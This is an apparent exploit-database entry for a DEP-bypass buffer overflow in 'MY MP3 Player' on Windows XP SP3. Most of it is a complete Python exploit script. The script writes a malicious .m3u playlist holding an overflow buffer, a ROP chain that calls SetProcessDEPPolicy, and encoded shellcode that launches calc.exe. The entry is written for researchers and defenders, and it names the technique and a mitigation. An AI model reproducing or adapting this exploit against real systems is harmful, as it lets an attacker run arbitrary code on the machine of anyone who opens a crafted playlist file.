MY MP3 Player DEP Bypass

vendor:

by:

Blake

5.5

CVSS

MEDIUM

Bypass OptIn/OptOut DEP policy

119

CWE

Product Name:

Affected Version From: Windows XP SP3

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3

This exploit is designed to bypass the OptIn/OptOut DEP (Data Execution Prevention) policy on Windows XP SP3. It was written by Blake and has been tested on a virtual machine running Windows XP SP3. The exploit uses a combination of shellcode and return-oriented programming (ROP) techniques to bypass DEP and execute arbitrary code.

Mitigation:

To mitigate this vulnerability, it is recommended to enable DEP and keep the system up-to-date with the latest security patches.

Source

Exploit-DB raw data:

# written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "\n============================"
print "  MY MP3 Player DEP Bypass  "
print " Bypass OptIn/OptOut Policy "
print "  Tested on Windows XP SP3  "
print "      Written by Blake      "
print "============================\n"
 
# calc.exe - 1014 bytes of space for shellcode
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
 
buffer = "\x41" * 1024
eip = "\x99\x13\x09\x5d"	# RETN - COMCTL32
rop = "\x42" * 4			# junk to compensate
rop += "\x8c\x39\x09\x5d"	# POP EBX, RETN - COMCTL32
rop += "\xff\xff\xff\xff"
rop += "\x28\x90\x12\x77"	# INC EBX, RETN - OLEAUT32
rop += "\x44\x94\x12\x77"	# POP EBP, RETN - OLEAUT32
rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
rop += "\x36\x1c\x12\x77"	# POP EDI, RETN - OLEAUT32
rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
rop += "\xd4\x1a\x12\x77"	# POP ESI, RETN - OLEAUT32
rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
rop += "\xf7\x8c\x14\x77"	# PUSHAD, RETN - OLEAUT32
nops = "\x90" * 20
junk = "\x42" * (2000 - len(nops + shellcode + rop))


print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n")